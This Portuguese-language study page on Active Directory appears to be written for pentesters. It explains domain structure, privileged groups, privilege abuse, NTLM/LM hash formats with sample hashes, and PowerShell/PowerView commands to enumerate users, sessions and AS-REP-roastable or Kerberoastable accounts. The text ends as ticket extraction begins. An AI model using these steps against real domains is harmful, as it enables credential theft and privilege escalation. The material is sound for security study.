Active Directory

Entendendo um Pouco Sobre AD

AD DS (Data Store)

NTDS.dit é um arquivo geralmenta fica em %SystemRoot%\NTDS e só pode acessado apenas pelo DC (Domain Controller). NTDS.dit funciona como um banco de dados que contém todas as informações do Active Directory, incluindo hashes de senhas dos usuários no Domínio. Este, é semelhante ao arquivo SAM, usado para contas locais. Algo importante a notar, é que se a configuração de armazenar senha com criptografia reversível estiver habilitada, o NTDS.DIT também armazenará as senhas em texto não criptografado para todos os usuários criados ou que alteraram suas senhas após a definição desta política. Isso é possível, porém raramente irá ver esse cenário.

SysVol

É um diretório existente em cada DC, que contém arquivos públicos do domínio que precisam ser acessados pelos clientes e mantidos sincronizados entre os DC's. Por padrão, podemos localizá-lo localmente em C:\Windows\SYSVOL ou remotamente em \\<domain.local>\sysvol.

Components (Componentes)

  • Schema = Define objetos e seus atributos

  • Query e Index = Fornece pesquisa e publicação de objetos e suas propridades

  • Global Catalog (GC) = Contém informações sobre todos os objetos do diretório

  • Replication Service = Distribui informações entre os Controladores de Domínio

Forest (Floresta)

Resumindo em poucas palavras, Floresta é apenas uma forma de descrever a conexão criada entre as Trees (Árvores) e os Domain Controllers (DC) pela rede. É uma coleção de um ou mais Domínios que compartilham a mesma estrutura lógica (mesmo esquema, catálogo global e configurações de diretório), sendo assim uma espécie de limite de segurança.

Uma Floresta é constituída dos seguintes itens:

  • Trees = Uma hierarquia de Domínios do AD DS (Active Directory Domain Services)

  • Domains = Usados para agrupar e gerenciar objetos

  • Organizational Units (OUs) = Uma OU agrupa diversos tipos de Objetos do AD e pode ser vinculada a uma GPO, diferentemente dos Grupos que não podem ter esse vínculado. O controle de uma OU é determinada pelo ACL (Access Control List) e possui suporte a Delegação de Autoridade, onde os proprietátrios podem transferir o controle administrativo (total ou parcial) para outros usuários (ou grupos)

  • Trusts = Permite aos usuários, acessar recursos de outros domínios

  • Objects = Usuários, grupos, impressoras, computadores, compartilhamentos

  • Domain Services = DNS Server, LLMNR, IPv6

  • Domain Schema = Regras para criação de objetos

Users (Usuários)

Por padrão no Active Directory, teremos 2 usuários, sendo eles o Administrator e o Guest. E também temos 4 tipos padrões de usuário, sendo eles:

  • Domain Admin = É o único que pode acesar o Domain Controller e é claro, pode controlar o Domínio

  • Service Account = Geralmente são utilizados para manutenção de serviços e podem ser administradores do Domínio

  • Local Administrators = Esses usuários podem fazer alterações em máquinas locais como um administrador e podem até controlar outros usuários normais, mas não podem acessar o Domain Controller

  • Domain Users = São os usuários que a maioria das pessoas usam, eles podem fazer login nas máquinas que têm autorização para acessar e podem ter direitos de administrador local (Local Administrators) para as máquinas, dependendo das políticas da organização.

Grupos

  • Enterprise Admins = A associação a este grupo fornece acesso completo à configuração no domínio. O grupo só existe no domínio raiz de uma floresta do AD. Os membros desse grupo têm a capacidade de fazer alterações em toda a floresta, como adicionar um domínio filho ou criar uma relação de confiança. A conta Administrador do domínio raiz da floresta é o único membro desse grupo por padrão.

  • Administrators = Os membros têm acesso total e irrestrito a um computador ou a um domínio inteiro se estiverem nesse grupo em um controlador de domínio.

  • Account Operators = Os membros podem criar e modificar a maioria dos tipos de contas, incluindo usuários, grupos locais e grupos globais, e os membros podem fazer login localmente em controladores de domínio. Eles não podem gerenciar a conta Administrador, contas de usuário administrativo ou membros dos grupos Administradores, Operadores de servidor, Operadores de conta, Operadores de backup ou Operadores de impressão, mas podem modificar contas e grupos não protegidos no domínio

  • Default Administrators = Domain Admins e Enterprise Admins

  • Backup Operators = Os membros podem fazer backup e restaurar todos os arquivos em um computador, independentemente das permissões definidas nos arquivos. Os operadores de backup também podem fazer logon e desligar o computador. Os membros podem fazer logon em DC's localmente e devem ser considerados administradores de domínio. Eles podem fazer cópias de sombra do banco de dados SAM/NTDS, que, se tomadas, podem ser usadas para extrair credenciais e outras informações interessantes.

  • DnsAdmins = Os membros têm acesso às informações de DNS da rede. O grupo só será criado se a função de servidor DNS estiver ou tiver sido instalada em um controlador de domínio no domínio.

  • Domain Admins = Os membros têm acesso total para administrar o domínio e são membros do grupo do administrador local em todas as máquinas ingressadas no domínio.

  • Domain Computers = Todos os computadores criados no domínio (exceto controladores de domínio) são adicionados a esse grupo.

  • Domain Controllers = Contém todos os DC's em um domínio. Novos DC's são adicionados a este grupo automaticamente.

  • Domain UsersDomain Users = Este grupo contém todas as contas de usuário em um domínio. Uma nova conta de usuário criada no domínio é adicionada automaticamente a este grupo.

  • Domain Guests = Este grupo inclui a conta de convidado interna do domínio. Os membros deste grupo têm um perfil de domínio criado ao entrar em um computador associado ao domínio como um convidado local.

  • DNS Admins = Os membros têm a capacidade de carregar uma DLL em um DC, mas não têm as permissões necessárias para reiniciar o servidor DNS. Eles podem carregar uma DLL maliciosa e aguardar uma reinicialização como um mecanismo de persistência. Carregar uma DLL geralmente resultará na falha do serviço. Uma maneira mais confiável de explorar esse grupo é criar um registro WPAD.

  • Event Log Readers = Os membros podem ler logs de eventos em computadores locais. O grupo só é criado quando um host é promovido a controlador de domínio.

  • Group Policy Creator Owners = Os membros criam, editam ou excluem objetos de política de grupo no domínio, porém apesar de poder criar novos GPO's, é preciso receber permissões adicionais para vincular GPO's a um contêiner, como um domínio ou OU.

  • Hyper-V Administrators = Os membros têm acesso completo e irrestrito a todos os recursos do Hyper-V. Se houver DCs virtuais no domínio, quaisquer administradores de virtualização, como membros de administradores do Hyper-V, devem ser considerados administradores de domínio.

  • IIS_IUSRS = Este é um grupo interno usado pelos Serviços de Informações da Internet (IIS), começando com o IIS 7.0.

  • Pre–Windows 2000 Compatible Access = Este grupo existe para compatibilidade com versões anteriores de computadores que executam o Windows NT 4.0 e versões anteriores. A associação a esse grupo geralmente é uma configuração herdada restante. Isso pode levar a falhas em que qualquer pessoa na rede pode ler informações do AD sem exigir um nome de usuário e senha válidos do AD.

  • Print Operators = Os membros podem gerenciar, criar, compartilhar e excluir impressoras conectadas a controladores de domínio no domínio junto com qualquer objeto de impressora no AD. Os membros têm permissão para fazer logon em DCs localmente e podem ser usados para carregar um driver de impressora mal-intencionado e escalar privilégios no domínio.

  • Protected Users = Os membros desse grupo recebem proteções adicionais contra roubo de credenciais e táticas como abuso de Kerberos.

  • Read-only Domain Controllers = Contém todos os controladores de domínio somente leitura no domínio.

  • Remote Desktop Users = Este grupo é usado para conceder a usuários e grupos permissão para se conectar a um host por meio da Área de Trabalho Remota (RDP). Este grupo não pode ser renomeado, excluído ou movido.

  • Remote Management Users = Este grupo pode ser usado para conceder aos usuários acesso remoto a computadores via Windows Remote Management (WinRM). Os membros têm permissão para fazer logon em DCs com PSRemoting (este grupo às vezes é adicionado ao grupo de gerenciamento remoto local em não DCs).

  • Schema Admins = Os membros podem modificar o esquema do Active Directory, que é a forma como todos os objetos com AD são definidos. Esse grupo existe apenas no domínio raiz de uma floresta do AD. A conta Administrador do domínio raiz da floresta é o único membro desse grupo por padrão.

  • Server Operators = Este grupo só existe em controladores de domínio. Os membros podem modificar serviços, acessar compartilhamentos SMB e fazer backup de arquivos em controladores de domínio. Por padrão, este grupo não tem membros.

Privilégios

  • SeImpersonatePrivilege = Esse privilégio nos permite representar um token de uma conta privilegiada, como NT AUTHORITY\SYSTEM. Isso pode ser aproveitado com uma ferramenta como JuicyPotato, RogueWinRM, PrintSpoofer, etc., para escalar privilégios em um sistema de destino.

  • SeLoadDriverPrivilege = Um usuário com esse privilégio pode carregar e descarregar drivers de dispositivo que podem ser usados para aumentar privilégios ou comprometer um sistema.

  • SeRemoteInteractiveLogonRight = Esse privilégio pode dar ao nosso usuário de destino o direito de fazer logon em um host por meio da Área de Trabalho Remota (RDP), que pode ser usada para obter dados confidenciais ou aumentar privilégios.

  • SeBackupPrivilege = Isso concede ao usuário a capacidade de criar backups do sistema e pode ser usado para obter cópias de arquivos confidenciais do sistema que podem ser usados para recuperar senhas, como os hives SAM e SYSTEM Registry e o arquivo de banco de dados NTDS.dit Active Directory.

  • SeDebugPrivilege = Isso permite que um usuário depure e ajuste a memória de um processo. Com esse privilégio, os invasores podem utilizar uma ferramenta como o Mimikatz para ler o espaço de memória do processo LSASS (Local System Authority) e obter quaisquer credenciais armazenadas na memória.

  • SeTakeOwnershipPrivilege = Isso permite que um processo se aproprie de um objeto. Em seu nível mais básico, poderíamos usar esse privilégio para obter acesso a um compartilhamento de arquivo ou a um arquivo em um compartilhamento que de outra forma não seria acessível a nós.

GPO (Group Policy Object)

As GPO não se aplicam diretamente a Grupos e Usuários. Por esse motivo, deve-se utilizar as OU's para herdar essas Políticas de Grupo

GPC (Group Policy Container) = Contém informações sobre as propriedades de uma GPO e é armazenado no AD em Domain Controller do Domínio GPT (Group Policy Template) = Contém os dados em uma GPO e é armazenado no SysVol, dentro do diretório /Policies

As GPO's são aplicadas da seguinte forma. Leve em conta que uma GPO sobrepõe as outras GPO's que já foram aplicadas, então a última GPO irá sobreescrever e ter assim efeito na política final que será aplicada

  1. GPO local

  2. Sites

  3. Domínio

  4. OU (caso tenha OU aninhada, a OU filha irá sobreescrever a OU pai)

SPN

Indentificador único de um determinado serviço do Domínio / Floresta, onde cada instância de serviço tem seu próprio SPN. É através do SPN, que o Kerberos associa uma instância de serviço a uma conta de logon de serviço. A sintaxe do SPN constitui no seguinte padrão:

<service_class>/<host>[:<port>][/<service_name>]

  • service_class = Campo obrigatório que define o tipo de serviço como LDAP, SQLServer, WWW, etc

  • host = Campo obrigatório onde pode o FQDN ou o NetBios, que não recomendado porém ainda existe devido a questões de compatibilidade

  • port = Campo não obrigatório, porém se não for emitido, será definido a porta padrão do serviço em questão. Por exemplo, se for um MySQL, será utilizado por padrão a porta 3306

  • service_name = Campo não obrigatório que pode ser utilizado para identificar outros dados

Dentre os SPN's disponíveis, segue abaixo os principais (link no fim da página para lista completa de SPN):

  • TERMSRV = RDP

  • LDAP = Serviço LDAP

  • CIFS = Common Internet File System

  • exchangeAB = Exchange Address Book Service

  • DNS = Domain Name Server

  • host = Serviço HOST, que representa o próprio computador, no qual toda máquina a possui. Se tiver um ticket dessa máquina, é possível acessá-la e executar comandos no SO

  • FTP = File Transfer Protocol

  • HTTP = Serviço WEB que suporta autenticação Kerberos

  • MSSQL = Microsoft SQL Server

ACL

Quando um usuário loga no Windows, ele recebe um token no qual consiste em verificar se o usuário está incluso na ACL do objetos ou recursos que ele solicita. Essa ACL é uma lista composta por ACE (Access Control Entry) e cada ACE em uma ACL, identifica uma entidade de segurança, os direitos de acesso permitido, negados ou auditados para essa entidade.

Clique no link abaixo para mais detalhes sobre ACL.

Explorando ACL/ACE

Relação de Confiança

  • One-Way (Unidirecional) = Os usuários de um Domínio confiável (Trusted) podem acessar recursos de um Domínio em que depositou essa confiança nele (Trusting), porém o inverso não é possível. Por exemplo, o Domínio abc.com (Trusted) pode acessar todos os recursos do Domínio def.com (Trusting), pois este confia em abc.com. Em contra partida, o Domínio def.com (Trusting) não pode acessar os recursos de abc.com (Trsuted), pois abc.com não confia em def.com

  • Two-Way (Bidirecional) = O Domínio abc.com pode acessar def.com e vice-versa. Esse tipo de confiança é estabelecido por padrão em uma Floresta e é Transitivo

  • Transitiva = Se o Domínio abc.com confia em def.com, e def.com confia em ghi.com, então abc.com confia em ghi.com, e ghi.com confia em abc.com

  • Não-Transitivo = Relação padrão entre 2 Domínios em florestas diferentes

  • External Trust (Externa) = Confiança entre 2 Domínios de Florestas diferentes que não possuem relação de confiança entre si. Estas podem ser Unidirecional ou Bi-Direcional e são Não-Transitivas

  • Florestas = Por padrão as Florestas são de Unidirecional ou Bi-Direcional e Não-Transitivas. Por exemplo, a Floresta A confia na Floresta B, e a Floresta B confia na Floresta C, porém a Floresta A não confia na Floresta C. Esse é a configuração padrão, porém pode ser configurada para que seja Transitiva.

Windows Server AD VS Azure AD

Segue abaixo as principais diferenças entre o Windows Server AD (On-Premise) e o Azure AD (Cloud)

WINDOWS SERVER AD

AZURE AD

LDAP

Rest APIs

NTLM

OAuth/SAML

Kerberos

OpenID

OU Tree

Flat Structure

Domains and Forests

Tenants

Trusts

Guests

Gerenciando AD via Powershell

Antes de começar, importe o módulo para poder executar os comandos com êxito

Import-Module -Name ActiveDirectory

Adicionando usuário no AD

Import-Module -Name ActiveDirectory
New-ADUser -Name "<name user>" -AccountPassword (ConvertTo-SecureString -AsPlainText (Read-Host "Enter a secure password") -Force ) -Enabled $true -OtherAttributes @{'title'="<title>";'mail'="<email@local.com"}

Removendo usuários do AD

Remove-ADUser -Identity <user>

Desbloquando conta

Unlock-ADAccount -Identity <user>

Resetando senha de usuário

Set-ADAccountPassword -Identity '<user>' -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "<nova_senha>" -Force)

Forçando alteração de senha

Set-ADUser -Identity <user> -ChangePasswordAtLogon $true

Criando OU

New-ADOrganizationalUnit -Name "<nome>" -Path "OU=<name>,OU=<name>,DC=<domain>,DC=<local>""

Criando Grupo

New-ADGroup -Name "<nome>" -SamAccountName <nome> -GroupCategory Security -GroupScope Global -DisplayName "<nome>" -Path "OU=<nome>,OU=<nome>,DC=<domain>,DC=<local>" -Description "<description>"

Adicionando usuário(s) em um grupo

Add-ADGroupMember -Identity <grupo> -Members <nome1>,<nome2>

Duplicando uma GPO

Copy-GPO -SourceName "<nome_GPO_existente>" -TargetName "<nome_da_nova_GPO>"

Linkando GPO com OU

Set-GPLink -Name "nome_gpo>" -Target "ou=<nome>,OU=<nome>,dc=<domain>,dc=<local>" -LinkEnabled Yes

Inserindo o próprio computador em um Domínio

Add-Computer -DomainName <DOMAIN.LOCAL> -Credential <DOMAIN>\<user> -Restart

Adicionado um computador remoto no AD

Add-Computer -ComputerName '<nome>' -LocalCredential '.\<user>' -DomainName '<DOMAIN.LOCAL>' -Credential '<DOMAIN>\<user>' -Restart

Autenticação

Além de Kerberos e LDAP, o Active Directory utiliza vários outros métodos de autenticação que podem ser usados (e abusados) por aplicativos e serviços no AD. Isso inclui LM, NTLM, NTLMv1 e NTLMv2. LM e NTLM aqui são os nomes de hash e NTLMv1 e NTLMv2 são protocolos de autenticação que utilizam o hash LM ou NT. Abaixo está uma rápida comparação entre esses hashes e protocolos, o que nos mostra que, embora não seja perfeito, o Kerberos geralmente é o protocolo de autenticação preferido sempre que possível. É essencial entender a diferença entre os tipos de hash e os protocolos que os utilizam.

LDAP

Na próxima página veremos informações mais detalhadas sobre LDAP. Caso queira, clique no link abaixo.

LDAP

LM (LAN Manager)

Os hashes do LAN Manager (LM) são o mecanismo de armazenamento de senha mais antigo usado pelo sistema operacional Windows. LM estreou em 1987 no sistema operacional OS/2. Se em uso, eles são armazenados no banco de dados SAM em um host Windows e no banco de dados NTDS.DIT em um controlador de domínio. Devido a deficiências de segurança significativas no algoritmo de hash usado para hashes LM, ele foi desativado por padrão desde o Windows Vista/Server 2008. No entanto, ainda é comum encontrar, especialmente em grandes ambientes onde sistemas mais antigos ainda são usados. As senhas que usam LM são limitadas a um máximo de 14 caracteres. As senhas não diferenciam maiúsculas de minúsculas e são convertidas em maiúsculas antes de gerar o valor de hash, limitando o espaço de chave a um total de 69 caracteres, tornando relativamente fácil decifrar esses hashes usando uma ferramenta como o Hashcat. Antes do hash, uma senha de 14 caracteres é primeiro dividida em dois pedaços de sete caracteres. Se a senha tiver menos de quatorze caracteres, ela será preenchida com caracteres NULL para atingir o valor correto. Duas chaves DES são criadas a partir de cada pedaço. Esses pedaços são então criptografados usando a string KGS!@#$%, criando dois valores de texto cifrado de 8 bytes. Esses dois valores são então concatenados, resultando em um hash LM. Esse algoritmo de hash significa que um invasor precisa apenas forçar brute sete caracteres duas vezes em vez de todos os quatorze caracteres, tornando mais rápido quebrar hashes LM em um sistema com uma ou mais GPUs. Se uma senha tiver sete caracteres ou menos, a segunda metade do hash LM sempre terá o mesmo valor e poderá ser determinada visualmente mesmo sem ferramentas necessárias, como Hashcat. O uso de hashes LM pode ser desaprovado usando a Diretiva de Grupo. Um hash LM tem o seguinte formato de exemplo: c96bd12cc1161d96.

NTHash (NTLM)

A autenticação NTLM é utilizada quando um cliente se autentica em um servidor através do seu endereço IP (ao invés do nome do host) ou se o usuário tenta se autenticar pelo nome do host que não está registrado no servidor DNS integrado ao AD. Da mesma forma, aplicativos de terceiros podem optar por usar a autenticação NTLM em vez da autenticação Kerberos (clique em baixo para saber mais sobre o Kerberos).

Os hashes do NT LAN Manager (NTLM) são usados em sistemas Windows modernos. É um protocolo de autenticação desafio-resposta e usa três mensagens para autenticar: primeiro um cliente envia uma NEGOTIATE_MESSAGE ao servidor, cuja resposta é uma CHALLENGE_MESSAGE para verificar a identidade do cliente. Por fim, o cliente responde com um AUTHENTICATE_MESSAGE. Esses hashes são armazenados localmente no banco de dados SAM ou no arquivo de banco de dados NTDS.DIT em um controlador de domínio. O protocolo tem dois valores de senha com hash para escolher para executar a autenticação: o hash LM e o hash NT, que é o hash MD4 do valor UTF-16 little-endian da senha. O algoritmo pode ser visualizado como: MD4(UTF-16-LE(senha)). Mesmo sendo mais seguro que o LM, o NTLM também pode sofrer ataques de sucesso com Brute Force (dependendo da complexibilidade da senha) e também ataques de pass-the-hash.

Um hash NT assume a forma de b4b9b02e6f09a9bd760f388b67351e2b, que é a segunda metade do hash NTLM completo. Um hash NTLM se parece com isso:

user:500:84f3c115b514a5aaefd3b935b54a04fe:d33dfe544fa0daa4de7f59fb6d48ea0b:::

Observando o hash acima, podemos dividir o hash NTLM em suas partes individuais:

  • user = É o nome de usuário

  • 500 = Esse é o Identificador Relativo (RID). O valor 500 é o RID conhecido para a conta de administrator

  • 84f3c115b514a5aaefd3b935b54a04fe = É o hash LM e, se os hashes LM estiverem desabilitados no sistema, não poderá ser usado para nada

  • d33dfe544fa0daa4de7f59fb6d48ea0b = É o hash do NTLM. Esse hash pode ser quebrado offline para revelar o valor de texto simples (dependendo do tamanho/força da senha) ou usado para um ataque de pass-the-hash, utilizando por exemplo, ferramentas como CrackMapExec.

NTLMv1 (Net-NTMLv1)

O protocolo NTLM executa um desafio/resposta entre um servidor e um cliente usando o hash NT. O NTLMv1 usa o hash NT e LM, o que pode facilitar o "crack" offline após a captura de um hash usando uma ferramenta como o Responder ou por meio de um ataque de retransmissão NTLM. O protocolo é usado para autenticação de rede e o próprio hash Net-NTLMv1 é criado a partir de um algoritmo de desafio/resposta. O servidor envia ao cliente um número aleatório de 8 bytes (desafio) e o cliente retorna uma resposta de 24 bytes. Esses hashes NÃO podem ser usados para ataques pass-the-hash.

Exemplo de hash:

 u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:44c086049ec47e66

NTLMv2 (Net-NTLMv2)

O protocolo NTLMv2 foi introduzido pela primeira vez no Windows NT 4.0 SP4 e foi criado como uma alternativa mais forte ao NTLMv1. Ele é o padrão no Windows desde o Server 2000. Ele é protegido contra certos ataques de falsificação aos quais o NTLMv1 é suscetível. O NTLMv2 envia duas respostas ao desafio de 8 bytes recebido pelo servidor. Essas respostas contêm um hash HMAC-MD5 de 16 bytes do desafio, um desafio gerado aleatoriamente do cliente e um hash HMAC-MD5 das credenciais do usuário. Uma segunda resposta é enviada, usando um desafio de cliente de comprimento variável, incluindo a hora atual, um valor aleatório de 8 bytes e o nome de domínio.

Exemplo de hash NTLMv2:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:2b4830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783f11

Domain Cached Credentials (MSCache2)

Em um ambiente AD, os métodos de autenticação mencionados nesta seção e na anterior requerem que o host que estamos tentando acessar se comunique com os "cérebros" da rede, o Controlador de Domínio. A Microsoft desenvolveu o algoritmo MS Cache v1 e v2 (também conhecido como Domain Cached Credentials (DCC) para resolver o possível problema de um host associado a um domínio não conseguir se comunicar com um controlador de domínio (ou seja, devido a uma interrupção de rede ou outro problema técnico) ) e, portanto, a autenticação NTLM/Kerberos não funciona para acessar o host em questão. Os hosts salvam os últimos 10 hashes para qualquer usuário de domínio que faça login com êxito na máquina na chave de registro HKEY_LOCAL_MACHINE\SECURITY\Cache. Esses hashes não podem ser usados ​​em Além disso, o hash é muito lento para quebrar com uma ferramenta como o Hashcat, mesmo ao usar um equipamento de cracking de GPU extremamente poderoso, então as tentativas de quebrar esses hashes geralmente precisam ser extremamente direcionadas ou depender de um senha fraca em uso. Esses hashes podem ser obtidos por um invasor ou pentester após obter acesso de administrador local a um host.

Exemplo de hash:

$DCC2$10240#usuario#22e938d12fea7f4dc42a90120bd9e744

Gerenciando Usuários

Adicionando um usuário em um grupo

Add-ADGroupMember -Identity "<grupo>" -Members <usuario>

Enumerando com Domain Controller (Forma Nativa)

Filter

PARÂMETRO
DESCRIÇÃO
EXEMPLO

-eq

Igual a

Get-ADUser -Filter "name -eq 'mysther'"

-le

Menor que ou igual a

-ge

Maior que ou igual a

-ne

Diferente de

Get-ADUser -Filter "name -le 'mysther'"

-lt

Menor que

-gt

Maior que

-approx

Aproximadamente igual a

-bor

OR Bit a Bit

-band

AND Bit a Bit

-recursivematch

Correspondência recursiva

-like

Substring, semelhante ao LIKE do SQL

Get-ADUser -Filter "name -like 'mysth*'"

-notlike

Inverso ao LIKE

Get-ADUser -Filter "name -notlike 'mysth*'"

-and

AND booleano

-or

OR booleano

-not

NOT booleano

Os filters podem ser escritos de algumas maneiras (trazendo o mesmo resultado).

Get-ADUser -Filter "name -eq 'mysther'"
Get-ADUser -Filter 'name -eq "mysther"'
Get-ADUser -Filter {name -eq 'mysther'}
Get-ADUser -Filter {name -eq "mysther"}

Buscando por todos os usuários cadastrados no AD

Get-ADUser -filter * -properties *

Buscando nome de computadores e seus respectivos IP's

Get-ADComputer -filter * -Properties IPv4Address | select name,IPv4Address

Pesquisando por todas os hosts na rede que possui "sql" no nome

Get-ADComputer  -Filter "DNSHostName -like 'SQL*'"

Todos os usuários administrativos com DoesNotRequirePreAuth ativo. Assim, pegaremos usuários vulneráveis a ataque ASREPRoasted

Get-ADUser -Filter {adminCount -eq '1' -and DoesNotRequirePreAuth -eq 'True'}

O comando a seguir pode ser usado para localizar todos os usuários administrativos com o conjunto de atributos "servicePrincipalName", o que significa que eles provavelmente podem estar sujeitos a um ataque Kerberoasting

Get-ADUser -Filter "adminCount -eq '1'" -Properties * | where servicePrincipalName -ne $null | select SamAccountName,MemberOf,ServicePrincipalName | fl

Filtrando por usuários com mais de 3 logins incorretos

Get-ADUser -Filter "badpwdcount -ge 3"

Mostrando todos os usuários que fazem parte de uma determinada OU

Get-ADUser -Filter * -SearchBase "OU=<name>,OU=<name>,OU=<name>,DC=<domain>,DC=<local>" | ft

# Caso queira saber somente o total
(Get-ADUser -Filter * -SearchBase "OU=<name>,OU=<name>,OU=<name>,DC=<domain>,DC=<local>").count

Buscando por todos os usuários que possuem PasswordNotRequired ativo

Get-ADUser -Filter {PasswordNotRequired -eq $true} | ft nome, UserPrincipalName

SearchBase

Níveis de pesquisa

Base = Escopo básico

OneLevel = Não retorna nenhum sub-container

SubTree = Pesquisa objetos contidos pelo SearchBase e todos os containers filhos, sendo este recursivamente até a hierarquia do AD.

Exemplo de comandos:

Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Base -Filter *
Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope OneLevel -Filter *
Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *

Realizando um count

(Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *).count

Note que usamos o Get-ADUser, mas podemos utilizar Get-ADObject para obtermos resultados diferentes.

Verificando quantos usuários estão em uma determinada OU

(Get-ADUser -SearchBase "OU=<sub-ou>,OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *).count

Powershell

Informações sobre um determinado usuário.

Get-ADUser -identity <sAMAccountName>

Verificando todos os usuários que fazem parte de um determinado grupo.

Get-ADGroupMember -Identity "<grupo>"

Informações sobre todos os computadores do domínio.

Get-ADComputer

Informações detalhadas sobre determinado computador do domínio

Get-ADComputer <computer_name> -Properties *

Membros de determinado grupo local

Get-LocalGroupMember '<group>'

Informações sobre um determinado grupo

Get-ADGroup -Identity "<group>" -Properties *

Verificando membros de um determinado grupo.

Get-NetGroupMember '<grupo>'

Verificando qual OU está gerenciando determinado grupo

Get-ADGroup -Identity "<grupo>" -Properties ManagedBy

Verificando se as políticas AppLocker são aplicadas:

powershell Get-AppLockerPolicy -Effective

OBS.: Os comandos mostrados acima, como Get-ADUser também pode ser instalado em estações de trabalho comuns como o Windows 7, porém é necessário ter privilégios administrativos para isso.

Enumerando com um Host do Domínio (Forma Nativa)

Informações sobre o Domínio

Pegando informações sobre o Domínio. Note no campo name, teremos o nome do Domínio e no campo PdcRoleOwner teremos Primary Domain Controller (PDC), então este terá as informações mais atualizadas sobre login e autenticação dos usuários.

# Powershell nativo
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

Verificando as políticas de conta de domínio. Note o valor de Lockout threshold, que indica quantas tentativas de login podem ser executadas com erro antes de bloquear a conta e Lockout Duration (minutes) para saber quantos minutos após as tentativas de login (sem chegar no limite de Lockout threshold), pode realizar novas tentativas. 

net accounts

Informações sobre Usuários e Grupos

Pegando todos os usuários do Domínio

net user /domain

Informações sobre determinado usuário no domínio

net user /domain <user>

Outra forma de pegar todos os usuários do Domínio (porém de uma maneira mais detalhada), é partir do comando abaixo (executado em Powershell):

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Result = $Searcher.FindAll()

Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
    Write-Host "------------------------------------------------------------------"
}

Dessa maneira irá trazer todos os usuários do domínio, o que pode ser gerar uma saída bem poluída. Caso deseje retornar computadores ao invés de usuários, altere o samAccountType 805306368 para 805306369. Mas dando continuidade na enumeração de usuários, vamos alterar o filtro para trazer somente um determinado usuário. Para isso altere a linha $Searcher.filter="samAccountType=805306368" para a linha abaixo, alterando é claro o filtro desejado.

$Searcher.filter="name=<Nome do Usuário>"

Pegando o nome de todos os grupos do Domínio:

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()

Foreach($obj in $Result)
{
    $obj.Properties.name
}

Agora que já sabemos o nome dos grupos do Domínio, podemos saber quem são os membros desse grupo, através do seguinte comando (altere o valor de <Nome_do_Grupo>):

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=<Nome_do_Grupo>)"
$Result = $Searcher.FindAll()

Foreach($obj in $Result)
{
    $obj.Properties.member
}

Verificando usuários que estão logados nesse exato momento

powershell -ep bypass
Import-Module .\PowerView.ps1

Get-NetLoggedon -ComputerName <hostname>

Como já sabemos que esses usuários estão logados atualmente, podemos validar isso, verificando se uma sessão ativa deles no Domain Controller. Lembre-se que, quando um usuário faz login, a sessão é armazenada no DC, ele apenas teve origem de uma estação de trabalho (ou de algum servidor).

powershell -ep bypass
Import-Module .\PowerView.ps1

Get-NetSession -ComputerName <domain_controller>

Informações sobre contas de serviços

As Contas de serviços podem ter acessos privilegiados, então é sempre recomendado buscarmos essas contas. No exemplo abaixo, estamos fazendo um filtro por http, então provavelmente irá buscar por contas responsáveis pelo IIS, mas sinta-se a vontade para procurar por outras contas, como SQL, por exemplo.

$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$Result = $Searcher.FindAll()

Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
}

Caso o comando tenha êxito e retorne algo, verifique o campo samaccountname para identificar o nome da conta e seviceprincipalname, pois é através dele que iremos pegar o seu IP. Após o HTTP/, podemos ver o seu caminho de acesso basta dar um nslookup nele, para ver o seu IP.

Com isso em mente, podemos salvar o Ticket desses serviços em memória (substitua o valor de -ArgumentList pelo valor de seviceprincipalname executado no comando acima):

Add-Type -AssemblyName System.IdentityModel
